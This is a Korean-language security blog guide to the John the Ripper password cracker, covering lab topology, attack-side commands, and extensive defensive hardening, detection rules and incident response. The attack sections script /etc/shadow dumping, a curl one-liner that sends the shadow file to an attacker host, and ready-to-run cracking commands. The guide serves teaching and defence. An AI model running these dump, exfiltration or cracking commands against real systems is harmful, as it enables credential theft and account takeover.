본문 바로가기
보안 기술/해킹 툴

John the Ripper

주석 위아래의 엔터는 삭제 금지. -->

John the Ripper 심층 분석 및 실무 가이드

📌 핵심 요약 (TL;DR)

  • 본질: 암호화된 패스워드 해시(Hash)를 평문(Plaintext)으로 복원하기 위해 사전 대입(Dictionary), 무차별 대입(Brute-force), 룰(Rule) 기반 변형 공격을 수행하는 고성능 오프라인 크래킹 도구
  • 위협 및 목적: 타겟 시스템에서 탈취한 `/etc/shadow` 또는 SAM 데이터베이스를 공격자 로컬 환경에서 크래킹하여, 탐지를 회피한 채 최고 관리자 권한(root/SYSTEM) 획득 및 측면 이동(Lateral Movement) 수행
  • 대응 방안: KDF(Key Derivation Function) 기반의 강력한 해시 알고리즘(Argon2, yescrypt) 적용, OS PAM 룰셋 하드닝, 그리고 해시 파일 접근에 대한 FIM(파일 무결성 모니터링) 및 관제(SIEM) 연동

목차 (Table of Contents)


⚠️ 법적 면책 조항 (Disclaimer)

본 포스팅의 보안/해킹 관련 실습은 허가된 통제 환경(개인 VM 및 합법적 모의해킹 계약 범위)에서만 수행되었습니다. 허가되지 않은 타인의 시스템에 대한 무단 접근, 스캐닝 및 데이터 추출 시도는 「정보통신망 이용촉진 및 정보보호 등에 관한 법률」 제48조 위반으로 강력한 형사처벌 대상입니다. 모든 분석은 벤더사 공식 레퍼런스 및 NVD 공인 데이터를 기반으로 방어적 엔지니어링을 위해 작성되었습니다.

1. 아키텍처 및 랩(Lab) 토폴로지

  • 난이도: 중급 (Intermediate)
  • 주제 분류: 시스템 보안 / 인증 보안 / 로그 분석 / 모의해킹
  • 핵심 키워드: #JohnTheRipper #PasswordCracking #CredentialDumping #Hash
  • 사전 지식: 리눅스 계정 인증 구조(/etc/passwd, /etc/shadow), 해시 함수(MD5, SHA-512), GPU 병렬 컴퓨팅

💡 Tip: 모바일 환경에서는 표를 좌우로 스크롤하여 상세 내용을 확인하세요.

구분 OS / 플랫폼 (버전 필수) 컨테이너 / 인프라 환경 IP 대역 인프라 내 역할
공격 (Red) Kali Linux 2026.1 Native VM (GPU 연동) 10.0.0.50/24 John the Ripper (Jumbo) 구동 및 오프라인 크래킹
타겟 (Target) Ubuntu 22.04 LTS Baremetal / VM 10.0.0.100/24 취약점 존재 호스트, 해시 파일 탈취 대상 노드
방어 (Blue) Graylog 5.x / Wazuh 온프레미스 중앙 관제망 10.0.0.200/24 FIM(File Integrity) 모니터링 및 주요 파일 접근 관제

[실전 아키텍처 토폴로지]

graph TD A[Target Server : 10.0.0.100] -->|1. Vulnerability Exploit / RCE| B(Attacker Access) B -->|2. Dump /etc/shadow & /etc/passwd| C[Attacker Local Host : 10.0.0.50] C -->|3. run 'unshadow' utility| D[Combined Hash File] D -->|4. John the Ripper & Wordlist| E[(GPU/CPU Cracking Process)] E -->|5. Plaintext Password Recovered| F[Lateral Movement / PrivEsc] G[(Central SIEM)] -.->|Monitor Access to /etc/shadow| A style A fill:#e6f3ff,stroke:#0066cc style B fill:#ffcccc,stroke:#ff0000 style C fill:#ffcccc,stroke:#ff0000 style D fill:#f9f871,stroke:#b8b400 style E fill:#ffebcc,stroke:#ff9900 style F fill:#ffcccc,stroke:#ff0000 style G fill:#c1f0c1,stroke:#00b300

그림 1: 오프라인 패스워드 크래킹 아키텍처 및 탈취 플로우


2. 핵심 개념 및 기술적 정의

2-1. 상세 정의 및 동작 메커니즘 전수 나열

  • 정의 1 (학술적): 다양한 해시(Hash) 및 암호화 알고리즘으로 보호된 인증 자격 증명(Credentials)을 입력받아, 역연산이 아닌 고속 해시 생성 및 평문 대조를 통해 원본 비밀번호를 찾아내는 오프라인 크래커입니다.
  • 정의 2 (실무적): 모의해킹(Pen-Testing) 시 타겟의 시스템에서 추출한 NTLM, SHA-512 커스텀 해시 등을 로컬의 막강한 연산 자원(GPU/CPU)을 활용해 깨뜨린 후, 횡적 이동(Lateral Movement)에 사용하는 핵심 무기입니다.
  • 탄생 배경 1 (레거시): 초기 유닉스 시스템은 /etc/passwd에 해시를 평문처럼 공개해 두어 누구나 크래킹을 시도할 수 있었습니다.
  • 탄생 배경 2 (모던): 섀도우 패스워드(/etc/shadow) 시스템이 도입되었으나, 권한 상승 취약점이나 LFI 등으로 파일이 유출되면 여전히 오프라인 크래킹의 타겟이 됩니다.
  • 인프라 내 역할: 인프라 밖(공격자의 로컬 환경)에서 구동되므로 타겟 서버에 부하나 네트워크 로그를 남기지 않는 스텔스(Stealth) 공격을 가능하게 합니다.
  • 메커니즘 단계 1 (Extraction): 타겟 시스템에서 해시 데이터(shadow, SAM, Zip/PDF 해시)를 추출합니다.
  • 메커니즘 단계 2 (Preparation): unshadow 등의 보조 도구를 사용해 John이 파싱할 수 있는 포맷으로 데이터를 병합 및 정규화합니다.
  • 메커니즘 단계 3 (Execution): 사전(Dictionary), 룰(Rules), 인크리멘탈(Incremental) 모드를 통해 초당 수십만~수십억 번의 해시를 생성하여 타겟 해시와 비교(String Compare)합니다.
  • 메커니즘 단계 4 (Response & Log): 일치하는 해시를 찾으면 로컬의 john.pot 파일에 평문을 기록합니다.
  • 버전 히스토리: 기본 JtR 외에, 커뮤니티에서 수백 가지의 추가 해시 포맷과 GPU(OpenCL/CUDA) 가속을 지원하도록 개조한 John the Ripper Jumbo 에디션이 실무의 표준입니다.

2-2. MITRE ATT&CK & Kill Chain 매핑 (Full Spectrum)

Kill Chain Phase MITRE Tactic (전술) Technique (기법) ID
Exploitation Credential Access OS Credential Dumping: /etc/shadow T1003.008
Exploitation Credential Access OS Credential Dumping: Security Account Manager T1003.002
Weaponization Credential Access Brute Force: Password Cracking T1110.002
Weaponization Credential Access Brute Force: Password Guessing T1110.001
Privilege Escalation Privilege Escalation Valid Accounts: Local Accounts T1078.003
Defense Evasion Defense Evasion Obfuscated Files or Information T1027
Lateral Movement Lateral Movement Remote Services: SSH T1021.004
Actions on Objectives Impact Data Encrypted for Impact (랜섬웨어 연계) T1486

3. 주요 특징 및 통신 규격 (Exhaustive Analysis)

3-1. 기술적 핵심 특징 10선

  1. 아키텍처 모델: CPU 기반의 코어 연산 최적화 모델. (Jumbo 버전은 OpenCL을 통한 GPU 병렬 가속 지원).
  2. 지원 포맷: DES, MD5, SHA-256, SHA-512, NTLM, Kerberos TGT, ZIP/RAR/PDF 암호 등 수백 가지 포맷.
  3. 단일(Single) 크랙 모드: 계정명, GECOS 필드(사용자 정보)를 기반으로 지능적인 변형 패스워드를 우선 대입.
  4. 사전(Wordlist) 모드: rockyou.txt 등 방대한 텍스트 파일의 단어를 해싱하여 대입.
  5. 룰(Rules) 맵핑: 사전의 단어에 숫자 추가, 대소문자 변환, 특수문자 부착 등 자동 변형(Mangling) 기능 제공.
  6. 인크리멘탈(Incremental) 모드: 문자셋(Charset)을 기반으로 모든 가능한 조합을 시도하는 순수 무차별 대입(Brute-force).
  7. 상태 저장 (Session): 크래킹 진행 상태를 .rec 파일에 자동 저장하여 중단 후 재시작(Resume) 완벽 지원.
  8. 자동 포맷 탐지: 입력된 해시 파일의 길이나 서명을 분석하여 알고리즘을 스스로 추론.
  9. 도구 생태계: zip2john, ssh2john, pdf2john 등 다양한 파일 포맷의 해시를 추출하는 전처리 스크립트 번들 포함.
  10. 오프라인 스텔스: 네트워크 패킷을 발생시키지 않아 IDS/IPS, WAF, 로그인 실패 알람(Fail2Ban)을 완벽히 회피.

3-2. 실무 관점 장단점 (5 Pros & 5 Cons)

구분 시스템 관점 특성 상세 팩트 보안 및 인프라 운영 관점의 트레이드오프
장점 1 [공격자] 오프라인 구동 구조 타겟 네트워크 방화벽 및 계정 잠금(Lockout) 임계치 완전 우회
장점 2 [공격자] 다양한 전처리 도구(*2john) 제공 OS 계정뿐만 아니라 압축 파일, 문서 등 전방위적 자산 공격 가능
장점 3 [공격자] 고도화된 Mangling Rules 지원 기업의 '비밀번호 생성 규칙(대문자+숫자+특수문자)'을 쉽게 타파
장점 4 [방어자] 취약한 패스워드 선제적 색출 가능 사내 보안 감사(Audit) 시 임직원의 약한 패스워드를 식별하는 도구
장점 5 [방어자] 네트워크 밴드위스 소모 없음 감사 목적으로 구동 시 운영 서버의 트래픽이나 서비스 성능에 영향 없음
단점 1 [공격자] 타겟 해시 파일 사전 획득 필수 /etc/shadow 등을 읽기 위한 1차 권한 상승(LPE) 선행 조건 필요
단점 2 [공격자] KDF(Key Derivation Function) 해시 연산 부하 bcrypt, Argon2 등 Cost가 높은 해시는 크래킹에 수백 년 소요
단점 3 [방어자] 공격 자체를 네트워크 레벨에서 탐지 불가 방어자는 크래킹 행위가 아닌 '해시 유출 행위' 자체를 탐지해야 함
단점 4 [방어자] 크래킹 성공 시 즉각적인 인프라 장악 오프라인 크래킹이 완료되면 적법한 계정으로 로그인하므로 탐지 극악
단점 5 [공격/방어] GPU 최적화는 Hashcat 대비 부족 순수 GPU 병렬 처리 퍼포먼스는 Hashcat에 다소 밀리는 경향 존재

3-3. 타겟 인증 포맷 및 시스템 아킬레스건

인증 포맷 시스템 경로 / 데몬 보안 아킬레스건 및 크래킹 취약도
sha512crypt ($6$) /etc/shadow (Linux) 기본 5000번 라운딩, GPU 최적화 시 초당 수십만 회 크래킹 노출
NTLM SAM 데이터베이스 (Windows) 솔트(Salt)가 없어 레인보우 테이블(Rainbow Table) 및 사전 공격에 극도로 취약
bcrypt ($2a$) 최신 Linux / 웹 프레임워크 DB Cost(Work Factor) 파라미터가 낮으면 여전히 무차별 대입 대상
Kerberos TGT Active Directory (NTDS.dit) AS-REP Roasting 등 유출 시 오프라인에서 TGS 티켓 위조 공격 노출
SSH Private Key ~/.ssh/id_rsa 패스프레이즈(Passphrase)가 약할 경우 ssh2john으로 쉽게 크래킹

4. 서버 인프라 및 파일 추출 구축 명세

4-1. 사전 요구 사항 (Dependencies)

  • 공격 환경: Kali Linux (john 기본 설치, Jumbo 에디션)
  • 권한 제어: 대상 서버의 /etc/shadow를 읽기 위해서는 타겟 서버 내 root 권한 또는 shadow 그룹 권한 필수.
  • 사전 파일(Wordlist): rockyou.txt (/usr/share/wordlists/rockyou.txt.gz 압축 해제 필요)

4-2. 크리덴셜 덤프 및 정규화 셋업 (Step-by-Step Complete)

💻 크리덴셜 유출 및 전처리 스크립트

# [Step 1: 타겟 서버(10.0.0.100) - LPE를 통한 인증 파일 추출 (Red Team)]
$ cat /etc/passwd > /tmp/passwd.bak
$ sudo cat /etc/shadow > /tmp/shadow.bak

# [Step 2: 추출한 파일을 공격자 서버(10.0.0.50)로 안전하게 다운로드]
$ scp victim_user@10.0.0.100:/tmp/*.bak ./

# [Step 3: 공격자 서버(10.0.0.50) - unshadow 유틸리티를 통한 병합 및 정규화]
# passwd 파일의 GECOS 정보와 shadow 파일의 해시를 John이 인식할 수 있는 단일 포맷으로 결합
$ unshadow passwd.bak shadow.bak > unshadowed_hashes.txt

# [Step 4: 병합된 타겟 해시 파일 무결성 검증]
$ head -n 3 unshadowed_hashes.txt
# Output ex: root:$6$xyz...:0:0:root:/root:/bin/bash

# [Step 5: rockyou 사전 준비 (Kali 기준)]
$ sudo gzip -d /usr/share/wordlists/rockyou.txt.gz

5. 상세 명세 (명령어 / API / 프로토콜 전수 분석)

5-1. 기본 구문 및 명령어 구조 (Syntax)

📌 Syntax 표기법 (안전 파싱 모드)

  • {필수항목} : 반드시 입력해야 하는 값
  • [선택항목] : 생략 가능한 옵션 값

# John the Ripper 글로벌 명령어 구조
john [크래킹_옵션] [룰/포맷_옵션] {타겟_해시_파일}

파라미터별 상세 설명 (인자 분해)

파라미터 필수 여부 타입 역할 및 설명 실전 값 예시
john 필수 실행 파일 JtR 메인 바이너리 (버전에 따라 /usr/sbin/john 등에 위치) john
[크래킹_옵션] 선택 스위치 워드리스트, 인크리멘탈, 싱글 모드 등 크래킹 전략을 결정 --wordlist=rockyou.txt, --single
[룰/포맷_옵션] 선택 스위치 해시 알고리즘 강제 지정 또는 Mangling Rule셋 적용 --format=raw-md5, --rules
{타겟_해시_파일} 필수 파일 경로 타겟 시스템에서 추출 및 unshadow된 계정 정보와 해시가 담긴 파일 unshadowed_hashes.txt, hash.txt

5-2. 실행 옵션 및 제어 플래그 상세 목록 (10 Core Flags)

플래그 (단축 / 전체) 동작 원리 및 매뉴얼 상세 설명 실전 명령어 예시 (Concrete Example) 실무/보안 활용 관점
--wordlist= 지정된 사전 텍스트 파일의 단어들을 기반으로 공격 john --wordlist=pass.txt hash 사용자의 흔한 비밀번호 및 유출된 DB 기반 크래킹
--rules john.conf에 정의된 규칙에 따라 사전의 단어 변형 john --wordlist=pass --rules hash 'password' -> 'Password123!' 자동 유추 파훼
--incremental 설정된 문자셋으로 가능한 모든 조합을 무차별 대입 john --incremental hash 짧거나 사전에 없는 완전 무작위 패스워드 크래킹
--single 계정명 등 사용자 고유 정보를 힌트로 활용하여 대입 john --single hash 'admin' 계정의 'admin123' 등 직관적 취약점 색출
--format= 입력된 해시의 알고리즘 포맷을 명시적으로 강제 john --format=NT hash 자동 탐지 실패 시, 시간 낭비 없이 알고리즘 고정
--show john.pot 파일에 저장된 성공한 크래킹 결과 출력 john --show hash 크래킹 세션 완료 후 평문 패스워드 리스트 열람
--restore 이전에 중단된 크래킹 세션을 .rec 파일에서 복구 john --restore 서버 재부팅 또는 장기간 크래킹 작업의 연속성 보장
--users= 특정 계정명이나 UID를 필터링하여 공격 대상 제한 john --users=root,admin hash 전체 해시 중 권한이 높은 핵심 계정만 타겟팅
--format=raw-md5 Salt가 없는 순수 MD5 해시 크래킹 시 지정 john --format=raw-md5 hash 웹 애플리케이션 취약점으로 유출된 DB 해시 크래킹
--session= 세션 이름을 지정하여 여러 크래킹 동시 실행 관리 john --session=ssh_crack hash 다중 타겟에 대한 크래킹 스케줄링 및 독립적 로깅

5-3. 비대화형 명령어 조합 실전 시나리오 (5 Non-Interactive Scenarios)

조합 시나리오 및 목적 실전 명령어 완성본 (Ready-to-Use) 백그라운드 파싱 메커니즘 및 런타임 결과
[기본 딕셔너리] Rockyou 사전 기반 고속 크래킹 john --wordlist=/usr/share/wordlists/rockyou.txt hashes 사전 내 수백만 개 단어를 타겟 해시 알고리즘으로 변환 후 대조
[룰 기반 변형] 사전에 특수문자 규칙을 추가 john --wordlist=rockyou.txt --rules hashes JtR 코어 규칙(Jumbo)을 적용하여 복잡도 조건을 우회함
[포맷 강제] Windows NTLM 해시 집중 크래킹 john --format=NT --wordlist=rockyou.txt sam_hashes NTLM 알고리즘으로만 연산하여 크래킹 속도를 극대화함
[SSH 키 덤프] 암호화된 id_rsa 패스프레이즈 크랙 ssh2john id_rsa > ssh.hash && john ssh.hash SSH 키의 구조를 JtR 포맷으로 변환 후 복호화 키 탐색
[압축 파일] 비밀번호가 걸린 ZIP 아카이브 해제 zip2john secret.zip > zip.hash && john zip.hash ZIP 헤더 내 서명 값을 추출하여 사전 공격 수행

5-4. 대화형 내부 명령어 상세 모듈 (Interactive Keyboard Commands)

크래킹이 진행 중인 상태에서 터미널에 키보드 입력을 통해 상태를 제어합니다.

입력 키 (Key) 동작 및 타이핑 예시 기술적 동작 및 스택 변화 상세 설명
Space 또는 Enter (진행 중 아무 키 누름) 현재까지의 시도 횟수(c/s), 경과 시간, 예상 남은 시간, 현재 대입 중인 단어를 터미널 STDOUT으로 즉시 출력
q 또는 Ctrl+C (크래킹 중단 시) 현재 작업 지점(Offset)을 john.rec 파일에 저장하고 프로세스를 안전하게 종료 (Graceful Exit)

6. 핵심 페이로드 치트시트 (Cheat Sheet)

6-1. 환경별 *2john 유틸리티 및 크래킹 전수 집합 (10 One-Liners)

공격 기법 (Vector) 완전한 실전 명령어 원문 (One-Liner Example) 런타임 결과 및 우회 목적 서술
[Linux Shadow] unshadow passwd shadow > h.txt && john h.txt 기본 Linux 패스워드 해시 병합 및 크래킹
[Windows SAM] samdump2 SYSTEM SAM > win.hash && john win.hash 레지스트리 덤프에서 NTLM 추출 및 크래킹
[ZIP Archive] zip2john protected.zip > zip.hash 암호화된 ZIP 파일 헤더 해시 추출
[RAR Archive] rar2john secure.rar > rar.hash 암호화된 RAR 아카이브 해시 추출
[PDF Document] pdf2john document.pdf > pdf.hash 암호 설정된 PDF 문서의 Owner/User 해시 추출
[SSH Private] ssh2john id_rsa > ssh.hash 암호화된 SSH 개인 키 패스프레이즈 해시 추출
[Keepass KDBX] keepass2john pass.kdbx > kp.hash Keepass 패스워드 매니저 마스터 암호 해시 추출
[Show Cracked] john --show h.txt 완료된 평문 패스워드 텍스트 출력 (user:password)
[Custom Rule] john --wordlist=rockyou.txt --rules=Jumbo Jumbo 에디션의 확장 룰셋을 적용하여 공격력 극대화
[List Formats] john --list=formats 현재 시스템(JtR 버전)이 지원하는 모든 해시 포맷 조회

7. 심층 킬체인 워크플로우 (Deep Dive)

7-1. 취약점 식별 (CVE / CWE 6-Points List)

식별 코드 취약점 명칭 및 인프라 설계 결함 CVSS v3.1 파급력 (Impact) 대응/패치
CWE-256 [Unprotected Storage of Credentials] [계정 완전 탈취] [암호화 및 최소 권한 뷰]
CWE-521 [Weak Password Requirements] [Brute-force 노출] [비밀번호 복잡도 PAM 룰 적용]
CWE-916 [Use of Password Hash With Insufficient Computational Effort] [오프라인 고속 크래킹] [bcrypt/Argon2 Cost 상향]

Vulnerability Deep Dive: Weak Computational Effort in Hashing (CWE-916)

  • 연관 식별자: CWE-916
  • 발생 원인 (Root Cause): 레거시 MD5($1$) 또는 연산 라운드(Rounds)가 낮은 SHA-512($6$)를 사용하여 해싱 속도를 늦추는 KDF 메커니즘이 부족한 구조적 결함.
  • 파급력 (Impact): 해시가 유출되었을 때, 공격자의 GPU 파워를 활용한 오프라인 크래킹이 단 몇 분 안에 완료되어 실질적인 계정 탈취(Account Takeover) 발생.
  • 대응 방안 (Patch): /etc/login.defs 및 PAM 설정을 수정하여 SHA-512의 라운드 수를 50만 회 이상으로 강제하거나, 메모리 하드(Memory-Hard) 방식인 Argon2 (yescrypt)로 해싱 알고리즘 마이그레이션.

7-2. 킬체인 전개 스텝 분석 (Step-by-Step)

  • 난이도: 고급 (Advanced)
  • 전제: 애플리케이션 취약점(RCE/LFI 등)으로 인해 공격자가 /etc/shadow 읽기 권한을 이미 확보.
  • 탐지 가능성: Low (오프라인 연산이므로 네트워크 트래픽이나 서버 로그가 전혀 남지 않음)
Phase 1 — OS 크리덴셜 덤핑 (Credential Access)
# 1-1. LFI, 웹쉘, 또는 권한 상승(PrivEsc)을 통해 대상 서버의 인증 DB 탈취
$ cat /etc/shadow | curl -X POST -d @- [http://10.0.0.50/receiver.php](http://10.0.0.50/receiver.php)
Phase 2 — 로컬 오프라인 무기화 (Weaponization - Offline Cracking)
# 2-1. 타겟 서버와 무관한 공격자 물리 머신에서 JtR 가동 (GPU 환경)
$ unshadow /tmp/passwd /tmp/shadow > target.hash
$ john --wordlist=rockyou.txt --rules target.hash
Phase 3 — 목표 달성 및 횡적 이동 (Actions on Objectives)
# 3-1. 크랙된 평문 패스워드(admin:Winter2025!)를 이용해 SSH 역기동 및 내부망 침투
$ ssh admin@10.0.0.100
$ sudo -i # 취득한 패스워드로 sudo 권한 즉시 인가

7-3. 공격 타임라인 재구성 (Chronological Attack Flow)

타임스탬프 (T+) 공격자 행위 (Attacker Action) 사용 도구 / 명령어 발생 로그 및 탐지 포인트 (DFIR)
T - 00:30 웹 애플리케이션 취약점 RCE 성공 curl / 웹쉘 WAF: 비정상 악성 페이로드 주입 탐지
T + 00:00 [가장 중요] /etc/shadow 파일 읽기 cat /etc/shadow Auditd / FIM: shadow 파일 접근 이벤트
T + 00:05 탈취한 데이터를 공격자 서버로 Exfiltration nc / curl NIDS: 서버에서 나가는 비정상 아웃바운드 트래픽
T + 02:00 공격자 로컬에서 JtR 크래킹 완료 (오프라인) john --show (서버 로그 없음. 탐지 절대 불가 구역)
T + 02:05 획득한 평문으로 SSH 로그인 및 횡적 이동 ssh target_user@IP auth.log: Accepted password for target_user

8. 실전 침투 테스트 및 로그 관제 시나리오 (Pen-Testing Lab)

📘 Scenario A: 크리덴셜 덤프 탐지 및 인증 하드닝 대응 훈련

  • 학습 목표: 방어자가 오프라인 크래킹 행위 자체를 막을 수 없음을 인지하고, 해시 추출 단계(Dump)에서의 탐지율 및 해시 알고리즘 하드닝을 통한 방어력 입증.
  • 동작 원리: 공격자의 파일 접근 관제 -> 추출 방어 -> 크래킹 지연.

⚔️ Red/Blue Team 교전 시나리오

# [Step 1: Red Team - 취약한 웹 데몬 권한을 이용하여 /etc/shadow 우회 읽기 시도]
$ cat /etc/shadow > /tmp/out.txt

# [Step 2: Blue Team - Auditd/Wazuh를 통한 파일 무결성 및 접근 실시간 탐지 (SIEM)]
# Sigma Rule 매칭: "Sensitive File Access" - /etc/shadow 접근 프로세스(www-data) 식별
# 관제 대응: 즉각적인 해당 세션 Kill 및 해당 IP 인바운드 차단

# [Step 3: Red Team - (가정) 탈취 성공 후 JtR 크래킹 시도]
$ john --wordlist=rockyou.txt hashes.txt

# [Step 4: Blue Team - (사전 대응) KDF 알고리즘 하드닝 효과 검증]
# 기존 MD5($1$) 기반 해시는 1초 컷이었으나, Blue Team이 사전 적용한 yescrypt($y$) 해시는 
# JtR 크래킹 속도가 초당 10H/s 이하로 저하되어 사실상 크래킹 불능 상태(수백 년 소요) 유도 성공.

9. 트러블슈팅 및 장애 대응 (5 RCA Scenarios)

에러 로그 (Symptom) / 증상 발생 원인 (Root Cause) 해결책 (Resolution) 조치 후 검증 커맨드 (Verification)
No password hashes loaded JtR이 파일 포맷을 인식하지 못함 unshadow 미수행 또는 잘못된 --format 지정 해시 파일 구조 점검 및 --format 생략 테스트
OpenCL error: Device not found GPU 연동(Jumbo 에디션) 드라이버 문제 OpenCL/CUDA 드라이버 미설치 또는 권한 부족 clinfo 또는 nvidia-smi 정상 동작 확인
fopen: rockyou.txt: No such file 사전(Wordlist) 파일 경로 누락 절대 경로 지정 또는 gzip -d로 사전 압축 해제 ls -la /usr/share/wordlists/rockyou.txt
Session aborted, saving status... 시스템 리소스 부족 또는 수동 인터럽트 --restore 플래그를 사용하여 세션 재개 john --restore
UTF-8 encoding error NTLM 등 특정 해시와 사전의 인코딩 불일치 사전 파일을 UTF-8 포맷으로 강제 컨버팅 iconv -f ISO-8859-1 -t UTF-8 rockyou.txt

🛡️ Blue Team: 시스템 통제 및 방어 엔지니어링
오프라인 크래킹은 방어 인프라 밖에서 이루어집니다. 따라서 방어의 핵심은 "해시 파일의 유출 원천 차단""유출되더라도 크랙할 수 없는 강력한 연산 복잡도(Cost) 부여"에 있습니다.

10. 방어 및 위협 헌팅 엔지니어링

10-1. MITRE D3FEND 매핑 (8-Points List)

방어 전술 (Tactic) 방어 기법 (Technique) 차단 원리 및 메커니즘 ID (Code)
Harden Strong Password Policy pam_pwquality를 통한 복잡도/길이 강제화로 딕셔너리 공격 무력화 D3-SPP
Harden Account Locking (온라인 공격 억제) pam_faillock을 통한 무차별 대입 계정 잠금 D3-AL
Detect File Integrity Monitoring /etc/shadow 등 핵심 인증 파일의 접근(Read/Modify) 실시간 로깅 D3-FIM
Isolate Executable Allowlisting 웹 데몬 등 비권한 프로세스가 OS 명령어(cat, sh) 실행 원천 차단 D3-EA
Isolate OS Access Control SELinux 또는 AppArmor를 통해 권한이 탈취되어도 중요 파일 접근 제한 D3-OAC
Evict Credential Eviction 침해사고 발생 즉시 전사 패스워드 일괄 초기화 및 세션 강제 종료 D3-CE
Deceive Decoy File 허위(Honey) 크리덴셜을 생성하여, 공격자가 이를 크래킹/접속 시 즉각 알람 D3-DF

10-2. 인프라 하드닝 및 시큐어 코딩 (10 Points Checklist)

  1. 알고리즘 업그레이드: 레거시 OS의 MD5/SHA-256 인증 체계를 yescrypt 또는 Argon2id로 마이그레이션.
  2. 연산 복잡도(Cost) 상향: SHA-512 유지 시, /etc/login.defs에서 SHA_CRYPT_MIN_ROUNDS를 500,000회 이상으로 설정.
  3. 파일 접근 통제: /etc/shadow 파일의 소유권은 root:shadow로 유지하고 퍼미션은 절대적 0640 또는 000 고정.
  4. Auditd 커널 로깅: /etc/shadow를 읽는 모든 프로세스(특히 루트 권한)를 auditd 데몬에 로깅 룰셋 적용.
  5. 비밀번호 복잡도 강제: libpam-pwquality를 설치하여 대문자, 특수문자, 최소 길이(12자 이상) 강제 적용.
  6. 다중 인증 (MFA/2FA): 크리덴셜이 크래킹되더라도 접근을 막기 위해 SSH 접속 시 Google Authenticator 등 MFA 강제 연동.
  7. 계정 잠금 정책: faillock을 적용하여 5회 로그인 실패 시 30분간 계정을 잠그고 관제 센터에 경보(Alert) 발송.
  8. AppArmor 격리: Nginx, Apache 데몬 프로필에 /etc/shadow 접근을 명시적으로 차단(Deny)하는 룰 적용.
  9. SAM/LSASS 보호: Windows 서버의 경우, LSA Protection(RunAsPPL)을 켜고 Credential Guard 활성화.
  10. 정기적 보안 감사: 방어자(Blue Team) 측에서 정기적으로 JtR을 구동하여 임직원의 취약한(유출된) 비밀번호 색출 및 초기화.

[시큐어 인프라 패치 실제 적용 가이드: PAM 및 알고리즘 하드닝]

🛡️ Linux Config: /etc/login.defs & PAM

# 🚨 Before (취약한 패스워드 라운딩 설정: GPU 크래킹 노출)
ENCRYPT_METHOD SHA512

# 🛡️ After (안전한 설정: 해시 생성 라운딩 대폭 증가시켜 JtR 연산 속도 파괴)
ENCRYPT_METHOD SHA512
SHA_CRYPT_MIN_ROUNDS 500000
SHA_CRYPT_MAX_ROUNDS 500000

# 🛡️ Modern After (Ubuntu 22.04+ 권장: 메모리 하드 알고리즘 적용)
ENCRYPT_METHOD YESCRYPT

10-3. IaC 기반 보안 설정 템플릿

⚙️ YAML: auditd-rules.yml (Ansible)

# 방어 룰셋: 핵심 인증 파일 접근에 대한 커널 레벨 시스템 콜 추적
- name: Configure Auditd to monitor /etc/shadow access
  lineinfile:
    path: /etc/audit/rules.d/audit.rules
    line: '-w /etc/shadow -p wa -k shadow_access'
  notify: restart auditd

10-4. 인시던트 대응 절차 (10-Step IR Playbook)

단계 대응 행동 전체 리스트 담당 목표 타임라인
1. 탐지·분류 SIEM(Auditd/Wazuh)에서 /etc/shadow 비정상 접근 경보 수신 SOC Analyst T+0
1. 탐지·분류 해당 이벤트를 발생시킨 부모 프로세스(PPID)와 계정 확인 SOC Analyst T+5분
2. 초동 격리 크리덴셜 덤프가 확인된 호스트의 외부 네트워크(Egress) 격리 IR Team T+15분
2. 초동 격리 해당 시스템의 모든 액티브 세션 강제 종료(Kill) SysAdmin T+30분
3. 증거 수집 해당 프로세스가 탈취한 파일을 외부로 전송한 흔적(넷플로우) 조사 Forensic Analyst T+1시간
4. 원인 분석 초기 침투 벡터(Web RCE 등) 확인 및 파일 유출 여부 확정 IR Team T+2시간
5. 제거·복구 전사 계정(유출 대상) 비밀번호 즉각 초기화(Reset) 조치 IAM Admin T+4시간
5. 제거·복구 취약점 패치 및 OS 계정 MFA 적용 여부 100% 점검 SysAdmin T+6시간
6. 사후 분석 오프라인 크래킹 가정 하에 타겟 시스템 횡적 이동 시도 헌팅 IR Manager T+24시간
6. 사후 분석 인증 알고리즘(yescrypt) 강화 및 시스템 하드닝 롤아웃 Sec-Engineer T+48시간

10-5. 침해사고 분석 (DFIR) 침해지표 (8 IoCs)

IoC 유형 (Type) 지표 데이터 (Value) 연관 분석 (Context)
Auditd Event type=SYSCALL ... name="/etc/shadow" 인가되지 않은 프로세스(웹/DB)가 인증 DB를 읽은 흔적
Process cat /etc/shadow, cp /etc/shadow /tmp/ 가장 흔한 원시적 형태의 크리덴셜 파일 덤프(복사)
Process tar -czf auth.tar.gz /etc/passwd /etc/shadow 추출한 인증 데이터베이스를 반출하기 위한 압축 포장
Net Traffic 1 덤프 직후 발생하는 HTTP/FTP 아웃바운드 트래픽 공격자 서버(C2)로 해시 데이터 Exfiltration 시도
Auth Log 1 덤프 발생 직후 미상 IP에서의 SSH 로그인 성공 크래킹 성공 후 획득한 평문 크리덴셜을 이용한 침투
Auth Log 2 짧은 시간 내 다수의 Failed password 로그 오프라인이 아닌 온라인 무차별 대입(Brute-force) 동반
File Name sam.save, system.save (Windows) 레지스트리에서 NTLM 해시 덤프 생성 후 방치된 흔적
Process (Win) lsass.exe 메모리 덤프 (procdump, mimikatz) Windows 환경 메모리 내 평문/NTLM 해시 탈취 흔적

10-6. 위협 헌팅 및 탐지 룰셋 (Purple Teaming)

1. Graylog / ELK SIEM 중앙 관제 — Sigma Rule

  • MITRE ATT&CK Mapping: T1003.008 (OS Credential Dumping: /etc/shadow)

📝 YAML: sigma_rule.yml

title: Detect Suspicious Access to /etc/shadow
status: stable
logsource:
    category: linux_audit
detection:
    selection:
        type: 'PATH'
        name: '/etc/shadow'
    filter_legit:
        # 정상적인 인증 관리 데몬은 탐지에서 제외
        exe: 
            - '/bin/su'
            - '/usr/bin/sudo'
            - '/usr/sbin/sshd'
            - '/usr/sbin/cron'
    condition: selection and not filter_legit
level: high

10-7. 보안 점검 체크리스트 (7 Audit Items)

점검 항목 점검용 확인 명령어 (CLI) 규정된 안전 기준 (Compliance)
해시 알고리즘 점검 grep ENCRYPT_METHOD /etc/login.defs SHA512 이상, 권장 YESCRYPT 유지
파일 권한 및 소유권 점검 ls -l /etc/shadow root:shadow 소유 및 -rw-r----- 유지
패스워드 복잡도 강제 cat /etc/security/pwquality.conf minlen=12, ucredit=-1, dcredit=-1
계정 잠금(Lockout) 점검 grep pam_faillock /etc/pam.d/common-auth deny=5 unlock_time=1800 등 룰셋 존재
커널 Auditd 룰셋 점검 `auditctl -l grep shadow`
SSH 빈 계정/루트 접속 grep PermitRootLogin /etc/ssh/sshd_config PermitRootLogin noPermitEmptyPasswords no
